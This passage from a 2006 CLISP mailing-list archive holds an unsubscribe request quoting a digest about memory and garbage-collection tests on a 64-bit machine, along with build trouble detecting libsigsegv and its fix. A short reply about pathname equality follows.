Mar 2006 06:16:35 -0800 Received: from xcgmd812.northgrum.com ([155.104.240.108]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FEobX-0007zF-PP for clisp-list@lists.sourceforge.net; Thu, 02 Mar 2006 06:16:35 -0800 Received: from xbhm0001.northgrum.com ([155.104.118.90]) by xcgmd812.northgrum.com with InterScan Messaging Security Suite; Thu, 02 Mar 2006 06:19:48 -0800 Received: from xcgv4800.northgrum.com ([158.114.112.124]) by xbhm0001.northgrum.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 2 Mar 2006 09:16:24 -0500 Received: from XMBV4802.northgrum.com ([158.114.112.42]) by xcgv4800.northgrum.com over TLS secured channel with Microsoft SMTPSVC(5.0.2195.6713); Thu, 2 Mar 2006 09:15:34 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <9415108BD474BE46832BED1987411D2E2FDF85@XMBV4802.northgrum.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: PLEASE REMOVE ME FROM THIS LIST Thread-Index: AcY8HsN2xc9A2iJETh6D9TBF8vmsFwB5LCgy From: "Allen, David M \(Mission Systems\)" To: , X-OriginalArrivalTime: 02 Mar 2006 14:15:34.0943 (UTC) FILETIME=[C5B4EAF0:01C63E03] X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 SUBJ_ALL_CAPS Subject is all capitals Subject: [clisp-list] PLEASE REMOVE ME FROM THIS LIST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 2 06:17:08 2006 X-Original-Date: Thu, 2 Mar 2006 09:13:18 -0500 HI, I'm not sure how I go on this list, or how it reaches this mailbox, = as the website says it has no record of my subscribing. However, I keep = receiving these emails and do not want them. Please unsubscribe me!!!!! =20 Thank you, David =20 David M. Allen, II Systems Engineer 4 Northrop Grumman Mission Systems US Forces Korea Email: david.allen2@ngc.com COM: 011-82-2-7915-3027 DSN: 315-725-3027 ________________________________ From: clisp-list-admin@lists.sourceforge.net on behalf of = clisp-list-request@lists.sourceforge.net Sent: Tue 28-Feb-06 13:07 To: clisp-list@lists.sourceforge.net Subject: clisp-list digest, Vol 1 #1652 - 3 msgs Send clisp-list mailing list submissions to clisp-list@lists.sourceforge.net To subscribe or unsubscribe via the World Wide Web, visit https://lists.sourceforge.net/lists/listinfo/clisp-list or, via email, send a message with subject or body 'help' to clisp-list-request@lists.sourceforge.net You can reach the person managing the list at clisp-list-admin@lists.sourceforge.net When replying, please edit your Subject line so it is more specific than "Re: Contents of clisp-list digest..." Today's Topics: 1. experiments with 64 bit machine - GC and paging (Don Cohen) 2. trouble seeing libsigsegv on AMD Athlon 64 Fedora Core 4 (Don = Cohen) 3. trouble seeing libsigsegv - solution (Don Cohen) --__--__-- Message: 1 From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Mon, 27 Feb 2006 13:18:20 -0800 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] experiments with 64 bit machine - GC and paging I find myself for the first time in possession of a 64 bit machine (AMD Athlon eMachines, would you believe) and thought I'd try using some of the expanded address space. I've installed Fedora Core 4 with 10G swap space. (I assume this is really used for "paging" rather than "swapping") I have 512M RAM. The first thing I tried was making large strings. One of my complaints with recent clisp versions was that the limit was too small. I think it's currently about 2MB whereas it used to be about 8MB (for 32 bit machines). So I was happy to see that the limit on the 64 bit machine was much higher - 64M. (Aside - I prefer to think of lisp as not imposing such artificial limits. Wouldn't it be more reasonable to allow any variable size datum to be as large as the largest chunk of VM the OS is willing to allocate?) The result below shows one minor bug in TIME. Evidently it's not prepared for numbers of bytes that don't fit in 32 bits. My focus here is performance issues related to paging and GC. [1]> (lisp-implementation-version) "2.38 (2006-01-24) (built on hammer1.fedora.redhat.com)" [2]> *features* (:READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP = :ANSI-CL :COMMON-LISP :LISP=3DCL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE = :BASE-CHAR=3DCHARACTER :PC386 :UNIX) [3]> (setf s nil) NIL [4]> (loop (time (length (push (make-string 64000000) s))) (room) (run-shell-command "cat /proc/meminfo |grep swap") ) The cat|grep command above didn't work as intended. The output I wanted uses upper case for the S in Swap. Real time: 0.00558 sec. Run time: 0.008001 sec. Space: 64001776 Bytes GC: 2, GC time: 0.008001 sec. Bytes permanently allocated: 159712 Bytes currently in use: 67109592 Bytes available until next GC: 772688 Real time: 1.864564 sec. Run time: 0.508031 sec. Space: 64001776 Bytes GC: 2, GC time: 0.508031 sec. Bytes permanently allocated: 159712 Bytes currently in use: 131099760 Bytes available until next GC: 16771626 ... I attempt to save space and cognitive effort by replacing the output as illustrated above with a more concise table below. real run gc gc time MB used MB left .0056 0.008 2 0.008 64 0 =20 1.865 0.508 2 0.508 125 15=20 3.227 0.472 2 0.472 186 31=20 2.029 0.32 2 0.32 247 46=20 2.095 0.384 1 0.384 308 0 =20 .0058 0.004 1 0.004 369 0 =20 10.97 0.552 1 0.552 430 0 =20 15.84 1.312 1 1.296 491 46=20 .1198 0.008 1 0.008 552 46=20 3.088 0.592 1 0.592 613 46=20 20.88 1.32 1 1.316 674 92=20 .0001 0.0 0 0.0 735 31=20 9.566 0.656 1 0.656 796 92=20 .0001 0.0 0 0.0 857 31=20 18.17 1.476 1 1.476 918 92=20 .0001 0.0 0 0.0 979 31=20 46.52 2.248 1 2.248 1040 183 .1286 0.0 0 0.0 1101 122 .0001 0.0 0 0.0 1162 61=20 .0001 0.0 0 0.0 1223 0 =20 31.43 1.48 1 1.48 1284 183 .0001 0.0 0 0.0 1345 122 .0001 0.0 0 0.0 1406 61=20 .0001 0.0 0 0.0 1467 0 =20 27.53 2.716 1 2.712 1528 183 .0001 0.0 0 0.0 1589 122 .0001 0.0 0 0.0 1650 61=20 .0001 0.0 0 0.0 1711 0 =20 235.3 5.216 1 5.216 1772 366 .0001 0.0 0 0.0 1834 305 .0001 0.0 0 0.0 1895 244 .0001 0.0 0 0.0 1956 183 .0001 0.0 0 0.0 2017 122 .0001 0.0 0 0.0 2078 61=20 .0001 0.0 0 0.0 2139 0 =20 72.81 2.928 1 2.928 2200 366 .0001 0.0 0 0.0 2261 305 .0001 0.0 0 0.0 2322 244 .0001 0.0 0 0.0 2383 183 .0001 0.0 0 0.0 2444 122 .0001 0.0 0 0.0 2505 61=20 .0001 0.0 0 0.0 2566 0 =20 32.62 3.524 1 3.524 2627 366 .0001 0.0 0 0.0 2688 305 .0001 0.0 0 0.0 2749 244 .0001 0.0 0 0.0 2810 183 .0001 0.0 0 0.0 2871 122 .0001 0.0 0 0.0 2932 61=20 .0001 0.0 0 0.0 2993 0 =20 230.5 16.98 1 16.98 3054 687 .0001 0.0 0 0.0 3115 626 .0001 0.0 0 0.0 3176 565 .0001 0.0 0 0.0 3237 504 .0001 0.0 0 0.0 3298 443 .0001 0.0 0 0.0 3359 382 .0001 0.0 0 0.0 3420 321 .0001 0.0 0 0.0 3482 260 .0001 0.0 0 0.0 3543 199 .0001 0.0 0 0.0 3604 137 .0001 0.0 0 0.0 3665 76=20 .0001 0.0 0 0.0 3726 15=20 49.01 7.208 1 7.208 3787 687 .0207 0.0 0 0.0 3848 626 .0001 0.0 0 0.0 3909 565 .0001 0.0 0 0.0 3970 504 .0001 0.0 0 0.0 4031 443 .0001 0.0 0 0.0 4092 382 At this point we hit a bug. Run time: 0.0 sec. Space: 64001776 Bytes Bytes permanently allocated: 159712 Bytes currently in use: 4291152312 Bytes available until next GC: 400722650 *** - SYSTEM::DELTA4: negative difference: [255 13651352] > [3 = 10544264] The following restarts are available: ABORT :R1 ABORT Break 1 [5]> where <1> # EVAL frame for form (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 = #:G3624 #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630) Break 1 [5]> up <1> # EVAL frame for form (UNWIND-PROTECT (LENGTH (PUSH (MAKE-STRING 64000000) S)) (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 = #:G3624 #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630)) Break 1 [5]> return Values: nil Bytes permanently allocated: 159712 Bytes currently in use: 4355591872 ... and now the rest of the data summarized real run gc gc time MB used MB left .0001 0.0 0 0.0 4214 259 .0001 0.0 0 0.0 4275 198 .0001 0.0 0 0.0 4336 137 .0008 0.0 0 0.0 4397 76=20 .0001 0.0 0 0.0 4459 15=20 47.6 10.1 1 10.07 4519 687 .0001 0.0 0 0.0 4580 626 .0001 0.0 0 0.0 4641 565 .0001 0.0 0 0.0 4702 504 .0001 0.0 0 0.0 4763 443 .0001 0.0 0 0.0 4824 382 .0001 0.0 0 0.0 4885 321 .0001 0.0 0 0.0 4946 260 .0001 0.0 0 0.0 5007 199 .0001 0.0 0 0.0 5068 137 .0001 0.0 0 0.0 5130 76=20 .0001 0.0 0 0.0 5191 15=20 2139. 83.69 1 83.69 5251 1236 .1932 0.0 0 0.0 5313 1175 .0001 0.0 0 0.0 5374 1114 .0001 0.0 0 0.0 5435 1053 .0001 0.004 0 0.0 5496 992 .0001 0.0 0 0.0 5557 931 .0001 0.0 0 0.0 5618 870 .0001 0.0 0 0.0 5679 809 .0001 0.0 0 0.0 5740 748 .0001 0.0 0 0.0 5801 687 .0001 0.0 0 0.0 5862 626 .0001 0.0 0 0.0 5923 565 .0001 0.0 0 0.0 5984 504 .0001 0.0 0 0.0 6045 443 .0001 0.0 0 0.0 6106 382 .0001 0.0 0 0.0 6167 321 .0001 0.0 0 0.0 6228 259 .0001 0.0 0 0.0 6289 198 .0001 0.0 0 0.0 6350 137 .0001 0.0 0 0.0 6411 76=20 .0001 0.0 0 0.0 6472 15=20 152.1 26.31 1 26.31 6533 1236 .0338 0.0 0 0.0 6594 1175 .0001 0.0 0 0.0 6655 1114 .0001 0.0 0 0.0 6716 1053 .0001 0.0 0 0.0 6777 992 .0001 0.0 0 0.0 6838 931 .0001 0.0 0 0.0 6899 870 .0001 0.0 0 0.0 6961 809 .0001 0.0 0 0.0 7022 748 .0001 0.0 0 0.0 7083 687 .0001 0.0 0 0.0 7144 626 .0001 0.0 0 0.0 7205 565 .0001 0.0 0 0.0 7266 504 .0001 0.0 0 0.0 7327 443 .0001 0.0 0 0.0 7388 382 .0001 0.0 0 0.0 7449 321 .0001 0.0 0 0.0 7510 259 .0001 0.0 0 0.0 7571 198 .0001 0.0 0 0.0 7632 137 .0001 0.0 0 0.0 7693 76=20 .0001 0.0 0 0.0 7754 15=20 [Here we run out of space.] The result is in some respects what I expected. If there's enough space available then the allocation takes almost no time. Otherwise there's a gc and more space is allocated. Since the non-gc cases are relatively uninteresting, I collect below the gc cases. real run gc gc time MB used MB left notes .0056 0.008 2 0.008 64 0 =3D=3D=3D=3D 1.865 0.508 2 0.508 125 15 2 gc's 3.227 0.472 2 0.472 186 31=20 2.029 0.32 2 0.32 247 46 =3D=3D=3D=3D 2.095 0.384 1 0.384 308 0 VM minitests.out LC_ALL=3DC uniq -u < minitests.out > = minitests.output.x86_64-unknown-linux-gnu test '!' -s minitests.output.x86_64-unknown-linux-gnu Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=3D${prefix} && make && make check && make = install cd ../.. ./configure --with-libsigsegv-prefix=3D${prefix} = --with-module=3Drawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-module=3Drawsock = --build build-dir real 1m6.525s user 0m26.122s sys 0m25.046s # yum install libsigsegv ... Nothing to do Next guess: # yum install libsigsegv-devel ... Installing: libsigsegv-devel x86_64 2.2-1.fc4 extras = 7.4 k ... Installed: libsigsegv-devel.x86_64 0:2.2-1.fc4 Complete! # time ./configure --with-module=3Drawsock --build build-dir ... and again Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=3D${prefix} && make && make check && make = install cd ../.. ./configure --with-libsigsegv-prefix=3D${prefix} = --with-module=3Drawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-module=3Drawsock = --build build-dir real 0m24.500s user 0m7.276s sys 0m13.281s so now I try doing as I've been told: # mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu # wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz ... 17:08:03 (456.80 KB/s) - `libsigsegv-2.2.tar.gz' saved [361450/361450] # tar xfz libsigsegv-2.2.tar.gz # cd libsigsegv-2.2 # ./configure --prefix=3D${prefix} && make && make check && make = install ... # cd ../.. # ./configure --with-libsigsegv-prefix=3D${prefix} = --with-module=3Drawsock --build build-dir executing /root/clisp/build-dir/configure --srcdir=3D../src = --with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu = --with-module=3Drawsock --cache-file=3Dconfig.cache ... ./minitests > minitests.out LC_ALL=3DC uniq -u < minitests.out > = minitests.output.x86_64-unknown-linux-gnu test '!' -s minitests.output.x86_64-unknown-linux-gnu Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=3D${prefix} && make && make check && make = install cd ../.. ./configure --with-libsigsegv-prefix=3D${prefix} = --with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu = --with-module=3Drawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv = --with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu = --with-module=3Drawsock --build build-dir # updatedb # locate libsigseg /var/cache/yum/extras/headers/libsigsegv-2.2-1.fc4.x86_64.hdr /var/cache/yum/extras/headers/libsigsegv-devel-2.2-1.fc4.x86_64.hdr /var/cache/yum/extras/packages/libsigsegv-2.2-1.fc4.x86_64.rpm /var/cache/yum/extras/packages/libsigsegv-devel-2.2-1.fc4.x86_64.rpm /usr/share/doc/libsigsegv-2.2 /usr/share/doc/libsigsegv-2.2/README /usr/share/doc/libsigsegv-2.2/AUTHORS /usr/share/doc/libsigsegv-2.2/ChangeLog /usr/share/doc/libsigsegv-2.2/NEWS /usr/lib64/libsigsegv.so.0 /usr/lib64/libsigsegv.so /usr/lib64/libsigsegv.so.0.0.0 /usr/lib64/libsigsegv.a /root/clisp/tools/libsigsegv-2.2 /root/clisp/tools/libsigsegv-2.2/config.h.in /root/clisp/tools/libsigsegv-2.2/m4 /root/clisp/tools/libsigsegv-2.2/m4/mmap-anon.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-siglongjmp.m4 /root/clisp/tools/libsigsegv-2.2/m4/libtool.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack.m4 /root/clisp/tools/libsigsegv-2.2/m4/relocatable.m4 /root/clisp/tools/libsigsegv-2.2/m4/fault.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-longjmp.m4 /root/clisp/tools/libsigsegv-2.2/m4/getpagesize.m4 /root/clisp/tools/libsigsegv-2.2/m4/bold.m4 /root/clisp/tools/libsigsegv-2.2/src /root/clisp/tools/libsigsegv-2.2/src/signals.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin5-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-beos-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-bsd.h /root/clisp/tools/libsigsegv-2.2/src/fault-hpux-hppa.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h /root/clisp/tools/libsigsegv-2.2/src/signals-macos.h /root/clisp/tools/libsigsegv-2.2/src/dispatcher.c /root/clisp/tools/libsigsegv-2.2/src/stackvma-procfs.c /root/clisp/tools/libsigsegv-2.2/src/fault-irix.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-i386-old.h /root/clisp/tools/libsigsegv-2.2/src/stackvma-none.c /root/clisp/tools/libsigsegv-2.2/src/fault-beos.h /root/clisp/tools/libsigsegv-2.2/src/fault.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h.msvc /root/clisp/tools/libsigsegv-2.2/src/stackvma.h /root/clisp/tools/libsigsegv-2.2/src/fault-posix.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-sh.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin7-powerpc.c /root/clisp/tools/libsigsegv-2.2/src/fault-openbsd-i386.h /root/clisp/tools/libsigsegv-2.2/src/stackvma.c /root/clisp/tools/libsigsegv-2.2/src/handler.o /root/clisp/tools/libsigsegv-2.2/src/fault-hurd.h /root/clisp/tools/libsigsegv-2.2/src/fault-macos-i386.h /root/clisp/tools/libsigsegv-2.2/src/leave-none.c /root/clisp/tools/libsigsegv-2.2/src/handler-win32.c /root/clisp/tools/libsigsegv-2.2/src/handler.lo /root/clisp/tools/libsigsegv-2.2/src/libsigsegv.la /root/clisp/tools/libsigsegv-2.2/src/fault-aix3.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-s390.h /root/clisp/tools/libsigsegv-2.2/src/leave.h /root/clisp/tools/libsigsegv-2.2/src/leave-sigaltstack.c /root/clisp/tools/libsigsegv-2.2/src/stackvma-linux.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-arm.h /root/clisp/tools/libsigsegv-2.2/src/signals-bsd.h /root/clisp/tools/libsigsegv-2.2/src/.libs /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.lai /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.la /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.a /root/clisp/tools/libsigsegv-2.2/src/stackvma-freebsd.c /root/clisp/tools/libsigsegv-2.2/src/dispatcher.o /root/clisp/tools/libsigsegv-2.2/src/handler-unix.c /root/clisp/tools/libsigsegv-2.2/src/fault-solaris-sparc.h /root/clisp/tools/libsigsegv-2.2/src/signals-hpux.h /root/clisp/tools/libsigsegv-2.2/src/machfault-macos-i386.h /root/clisp/tools/libsigsegv-2.2/src/version.lo /root/clisp/tools/libsigsegv-2.2/src/Makefile.in /root/clisp/tools/libsigsegv-2.2/src/fault-linux-x86_64.h /root/clisp/tools/libsigsegv-2.2/src/fault-aix5.h /root/clisp/tools/libsigsegv-2.2/src/leave-setcontext.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-ia64.h /root/clisp/tools/libsigsegv-2.2/src/stackvma-mach.c /root/clisp/tools/libsigsegv-2.2/src/fault-aix5-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h.in /root/clisp/tools/libsigsegv-2.2/src/fault-solaris.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-m68k.h /root/clisp/tools/libsigsegv-2.2/src/handler-none.c /root/clisp/tools/libsigsegv-2.2/src/stackvma.o /root/clisp/tools/libsigsegv-2.2/src/machfault-macos-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-sparc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-alpha.h /root/clisp/tools/libsigsegv-2.2/src/version.o /root/clisp/tools/libsigsegv-2.2/src/fault-linux-i386.h /root/clisp/tools/libsigsegv-2.2/src/dispatcher.lo /root/clisp/tools/libsigsegv-2.2/src/Makefile.am /root/clisp/tools/libsigsegv-2.2/src/fault-netbsd-alpha.h /root/clisp/tools/libsigsegv-2.2/src/machfault.h /root/clisp/tools/libsigsegv-2.2/src/stackvma.lo /root/clisp/tools/libsigsegv-2.2/src/handler-macos.c /root/clisp/tools/libsigsegv-2.2/src/fault-openbsd.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-m68k.c /root/clisp/tools/libsigsegv-2.2/src/fault-freebsd-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-netbsd-alpha.c /root/clisp/tools/libsigsegv-2.2/src/version.c /root/clisp/tools/libsigsegv-2.2/src/handler.c /root/clisp/tools/libsigsegv-2.2/src/fault-none.h /root/clisp/tools/libsigsegv-2.2/src/fault-osf-alpha.h /root/clisp/tools/libsigsegv-2.2/src/fault-aix3-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/leave.c /root/clisp/tools/libsigsegv-2.2/src/leave.lo /root/clisp/tools/libsigsegv-2.2/src/fault-irix-mips.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux.h /root/clisp/tools/libsigsegv-2.2/src/signals-hurd.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin7-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/leave-nop.c /root/clisp/tools/libsigsegv-2.2/src/fault-solaris-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-osf.h /root/clisp/tools/libsigsegv-2.2/src/Makefile /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin5-powerpc.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-hppa.h /root/clisp/tools/libsigsegv-2.2/src/leave.o /root/clisp/tools/libsigsegv-2.2/src/stackvma-beos.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-mips.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-cris.h /root/clisp/tools/libsigsegv-2.2/src/fault-hpux.h /root/clisp/tools/libsigsegv-2.2/configure /root/clisp/tools/libsigsegv-2.2/COPYING /root/clisp/tools/libsigsegv-2.2/PORTING /root/clisp/tools/libsigsegv-2.2/config.status /root/clisp/tools/libsigsegv-2.2/README.woe32 /root/clisp/tools/libsigsegv-2.2/termbold /root/clisp/tools/libsigsegv-2.2/stamp-h1 /root/clisp/tools/libsigsegv-2.2/README /root/clisp/tools/libsigsegv-2.2/libtool /root/clisp/tools/libsigsegv-2.2/termnorm /root/clisp/tools/libsigsegv-2.2/Makefile.in /root/clisp/tools/libsigsegv-2.2/configure.in /root/clisp/tools/libsigsegv-2.2/config.log /root/clisp/tools/libsigsegv-2.2/AUTHORS /root/clisp/tools/libsigsegv-2.2/autoconf /root/clisp/tools/libsigsegv-2.2/autoconf/install-sh /root/clisp/tools/libsigsegv-2.2/autoconf/config.sub /root/clisp/tools/libsigsegv-2.2/autoconf/config.guess /root/clisp/tools/libsigsegv-2.2/autoconf/missing /root/clisp/tools/libsigsegv-2.2/autoconf/ltmain.sh /root/clisp/tools/libsigsegv-2.2/Makefile.am /root/clisp/tools/libsigsegv-2.2/INSTALL /root/clisp/tools/libsigsegv-2.2/ChangeLog /root/clisp/tools/libsigsegv-2.2/aclocal.m4 /root/clisp/tools/libsigsegv-2.2/config.h /root/clisp/tools/libsigsegv-2.2/tests /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2.c /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1.o /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2.o /root/clisp/tools/libsigsegv-2.2/tests/mmaputil.h /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2 /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1 /root/clisp/tools/libsigsegv-2.2/tests/.libs /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1.c /root/clisp/tools/libsigsegv-2.2/tests/Makefile.in /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1 /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2 /root/clisp/tools/libsigsegv-2.2/tests/Makefile.am /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1.o /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2.c /root/clisp/tools/libsigsegv-2.2/tests/Makefile /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2.o /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1.c /root/clisp/tools/libsigsegv-2.2/config.h.msvc /root/clisp/tools/libsigsegv-2.2/Makefile /root/clisp/tools/libsigsegv-2.2/NEWS /root/clisp/tools/libsigsegv-2.2/Makefile.msvc /root/clisp/tools/libsigsegv-2.2/ChangeLog.1 /root/clisp/tools/x86_64-unknown-linux-gnu/lib/libsigsegv.la /root/clisp/tools/x86_64-unknown-linux-gnu/lib/libsigsegv.a /root/clisp/tools/libsigsegv-2.2.tar.gz --__--__-- Message: 3 From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Mon, 27 Feb 2006 18:18:41 -0800 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] trouble seeing libsigsegv - solution I still don't understand why the already installed libsigsegv was not sufficient, but I find the problem in the last attempt is that it uses a file named config.cache. When I rename it things work much better. So perhaps that ought to be incorporated into this advice. Please do this: mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=3D${prefix} && make && make check && make = install cd ../.. ./configure --with-libsigsegv-prefix=3D${prefix} = --with-module=3Drawsock --build build-dir --__--__-- _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list End of clisp-list Digest From s11@member.fsf.org Thu Feb 02 07:12:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4g8j-0006th-6W for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 07:12:53 -0800 Received: from sccimhc91.asp.att.net ([63.240.76.165]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4g8g-0000Hj-Gg for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 07:12:52 -0800 Received: from . (12-222-181-59.client.insightbb.com[12.222.181.59]) by sccimhc91.asp.att.net (sccimhc91) with SMTP id <20060202151243i9100fv15ae>; Thu, 2 Feb 2006 15:12:43 +0000 Subject: Re: [clisp-list] Equality of pathnames From: Stephen Compall To: Tomas Zellerin Cc: Marco Antoniotti , clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-DOYhs8Otrp9lgJZs1IyU" Message-Id: <1138893162.27660.2.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3-10mdk X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 2 08:54:48 2006 X-Original-Date: Thu, 02 Feb 2006 09:12:42 -0600 --=-DOYhs8Otrp9lgJZs1IyU Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Thu, 2006-02-02 at 08:48 +0100, Tomas Zellerin wrote: > > > [1]> (equal #P"/media/cdrecorder/" (print (truename > > > #P"/media/cdrecorder/"))) > > > > > > #P"/media/cdrecorder/" The TRUENAME has its version set to :NEWEST. The literal path's version is NIL. I'm not sure what the ANSI-friendliness of that modification is. --=20 Stephen Compall http://scompall.nocandysw.com/blog --=-DOYhs8Otrp9lgJZs1IyU Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQBD4iFqYWjD35Pp0wIRAldOAJ9QIQccyxeCoA2RePBask58kQf0CwCgpb9i lMEqpmT1v1T14F+H+RheeZk= =xE9p -----END PGP SIGNATURE----- --=-DOYhs8Otrp9lgJZs1IyU-- From lisp-clisp-list@m.gmane.org Thu Mar 02 09:15:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] 